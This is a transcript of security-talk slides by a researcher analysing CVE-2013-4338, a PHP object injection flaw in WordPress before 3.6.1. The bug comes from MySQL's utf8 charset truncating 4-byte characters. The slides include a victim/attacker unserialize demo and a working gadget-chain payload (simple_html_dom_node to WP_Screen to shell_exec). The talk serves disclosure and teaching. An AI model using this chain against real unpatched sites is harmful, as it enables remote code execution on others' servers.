Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

PHP Object Injection Vulnerability in WordPress: an Analysis

3,944 views

Published on

Published in: Technology
  • Be the first to comment

PHP Object Injection Vulnerability in WordPress: an Analysis

  1. 1. Remote code execution in WordPress By Tom Van Goethem
  2. 2. About me ❖ Tom Van Goethem ❖ PhD Student at ❖ Security Researcher ❖ Blogger — http://vagosec.org ❖ — @tomvangoethem 2
  3. 3. Agenda ❖ WordPress ❖ PHP Object Injection ❖ UTF-8 and MySQL ❖ Vulnerability ❖ Exploit ❖ Demo 3
  4. 4. WordPress ❖ Free and open source web blogging system and CMS ❖ PHP, MySQL ❖ Plugin & template architecture ❖ 60,000,000 websites ❖ aprox. 19% of top 10mil 4
  5. 5. WordPress ❖ 510 vulnerabilities since 2004 ❖ Most from plugins ❖ 2013: 16 vulnerabilities ❖ CVE-2013-4338 5
  6. 6. CVE-2013-4338 6 wp-­‐includes/functions.php  in  WordPress  before  3.6.1  does   not  properly  determine  whether  data  has  been  serialized,   which  allows  remote  attackers  to  execute  arbitrary  code   by  triggering  erroneous  PHP  unserialize  operations.
  7. 7. PHP Object Injection ❖ PHP’s unserialize() can instantiate objects ❖ Some “magic methods” are executed on instantiation/when printed/... ❖ Passing user-input to PHP’s unserialize() may have disastrous effects 7
  8. 8. PHP Object Injection 8 <?php! class File {! ! public $file;! ! ! function __construct($file) {! ! ! $this->file = $file;! ! }! ! function __destruct() {! ! ! unlink($this->file);! ! }! ! function __toString() {! ! ! $fh = fopen($this->file, 'r');! ! ! $r = fread($fh, filesize($this->file));! ! ! return $r;! ! }! ! // ...! }! ?>
  9. 9. PHP Object Injection 9 <?php! require_once('File.php');! $in = $_GET['in'];! $obj = unserialize($in);! echo '<h1>' . $obj . '<h1>';! ?> <?php! require_once('File.php');! $obj = new File('secret.txt');! $payload = serialize($obj);! echo $payload;! ?> victim.php attacker.php
  10. 10. PHP Object Injection 10
  11. 11. PHP Object Injection 11
  12. 12. UTF-8 ❖ In the beginning... there was ASCII ‣ American Standard Code for Information Interchange ‣ 7 bits ‣ 127 characters ❖ I 💖 Москва ❖ Support for many other characters needed 12
  13. 13. UTF-8 ❖ Then came Unicode ‣ maps more than 100,000 characters to a number ‣ still requires encoding ❖ UTF-8 ‣ backwards compatible with ASCII ‣ 1-4 bytes long ‣ supports code points U+0000 to U+10FFFF ! I 💖 Москва = U+0049 U+0020 U+1F496 U+0020 U+041C U+043E ...
 I = 01001001
 💖 = 11110000 10011111 10010010 10010110
 13
  14. 14. UFT-8 and MySQL 14
  15. 15. UFT-8 and MySQL ❖ MySQL has utf8 charset ‣ All we need, right? 15
  16. 16. UFT-8 and MySQL 16 CREATE SCHEMA utf8test DEFAULT CHARACTER SET utf8;! ! CREATE TABLE utf8test.utf8test_table (! utf8test_column VARCHAR(255) CHARACTER SET 'utf8' NULL)! DEFAULT CHARACTER SET = utf8;! ! INSERT INTO utf8test_table (utf8test_column) VALUES ('I love Москва');! # Query OK, 1 row affected (0.00 sec)! ! INSERT INTO utf8test_table (utf8test_column) VALUES ('I 💖 Москва');! # Query OK, 1 row affected, 1 warning (0.00 sec)! ! SHOW WARNINGS;! # Incorrect string value: 'xF0x9Fx92x96 xE3...' for column 'utf8test_column' at row 1! ! SELECT * FROM utf8test.utf8test_table;! # +--------------------+! # | utf8test_column |! # +--------------------+! # | I love Москва |! # | I |! # +--------------------+
  17. 17. UFT-8 and MySQL ❖ From MySQL Reference Manual: ! ❖ MySQL’s utf8 supports U+0000 to U+FFFF ❖ What with U+10000 to U+10FFFF? ‣ MySQL’s behavior: depends on character set ➡ with utf8: drop character and everything that follows 17
  18. 18. UFT-8 and MySQL 18
  19. 19. Vulnerability ❖ WordPress user-meta data can be serialized ❖ user-meta? ‣ first name, last name, contact info, ... ‣ stored in wp_usermeta (default charset utf8) ❖ can be serialized? ‣ normal string → normal string ‣ object → serialize(object) ‣ serialized string → serialize(serialized string) 19
  20. 20. Vulnerability ❖ When stored in DB, content is serialized ‣ only if is_serialized() returns true ❖ When retrieved from DB, content is unserialized ‣ only if is_serialized() returns true 20
  21. 21. 21 function is_serialized($data) {! ! // if it isn't a string, it isn't serialized! ! if (!is_string($data)) { return false; }! ! $data = trim($data);!  ! if ('N;' == $data) { return true; }! ! $length = strlen($data);! ! if ($length < 4) { return false; }! ! if (':' !== $data[1]) { return false; }! ! $lastc = $data[$length-1];! ! if (';' !== $lastc && '}' !== $lastc) { return false; }! ! $token = $data[0];! ! switch ($token) {! ! ! case 's' :! ! ! ! if ('"' !== $data[$length-2]) { return false; }! ! ! case 'a' :! ! ! case 'O' :! ! ! ! return (bool) preg_match("/^{$token}:[0-9]+:/s", $data);! ! ! case 'b' :! ! ! case 'i' :! ! ! case 'd' :! ! ! ! return (bool) preg_match("/^{$token}:[0-9.E-]+;$/", $data);! ! }! ! return false;! }!
  22. 22. Vulnerability ❖ What we need: ‣ when inserted in DB, is_serialized() should return false ‣ when retrieved from DB, is_serialized() should return true ❖ Let’s put one and one together ‣ append 4-byte UTF-8 character to serialized string ‣ is_serialized() returns false: ‣ when stored in DB: last character dropped ‣ when retrieved: is_serialized() returns true ‣ unserialize() is called on arbitrary user-content 22 if (';' !== $lastc && '}' !== $lastc)
 return false;
  23. 23. Vulnerability ❖ Before: ! ❖ After: 23
  24. 24. Vulnerability 24
  25. 25. Exploit ❖ Vulnerability: ✓ ❖ Needed for a working exploit: ‣ class with “useful” magic method ➡ __destruct(), __toString(), __wakeup()! ‣ is included at right time ❖ Not found in WordPress core... 25
  26. 26. Exploit ❖ ...anything you can imagine... ☺ 26
  27. 27. 27
  28. 28. Exploit 28
  29. 29. 29 class simple_html_dom_node {!     function __construct($dom) {!         $this->dom = $dom;!         $dom->nodes[] = $this;!     }!     function __destruct() {!         $this->clear();!     }!     function __toString() {!         return $this->outertext();!     }!     function outertext() {!         // ...!         if ($this->dom && $this->dom->callback!==null) {!             call_user_func_array($this->dom->callback, array($this));!         }!         // ...!     }!     // ...! }
  30. 30. 30 final class WP_Screen {!     public function render_screen_meta() {!         // ...!         foreach ($this->_help_tabs as $tab):!             if (!empty($tab['callback']))!                 call_user_func_array($tab['callback'], array($this, $tab));!         endforeach;!     }!     // ...! } function wp_generate_tag_cloud($tags, $args = '') {!     // ...!     $args = wp_parse_args($args, $defaults);!     extract($args);!     // ...!     foreach ((array) $tags as $key => $tag) {!         $real_counts[$key] = $tag->count;!         $counts[$key] = $topic_count_scale_callback($tag->count);!     }!     // ...! }
  31. 31. 31
  32. 32. 32 class simple_html_dom_node {! ! private $dom;! ! public function __construct() {! ! ! $callback = array(new WP_Screen(), 'render_screen_meta');! ! ! $this->dom = (object) array('callback' => $callback);! ! }! }! class WP_Screen {! ! private $_help_tabs;! ! public $action;! ! function __construct() {! ! ! $count = array('count' => 'echo "pwned!" > /tmp/pwned.txt');! ! ! $this->action = (object) $count;! ! ! $this->_help_tabs = array(array(! ! ! ! 'callback' => 'wp_generate_tag_cloud', ! ! ! ! 'topic_count_scale_callback' => 'shell_exec'));! ! }! }! echo serialize(new simple_html_dom_node()).'💖';
  33. 33. Demo 33
  34. 34. Questions? http://vagosec.org — @tomvangoethem

×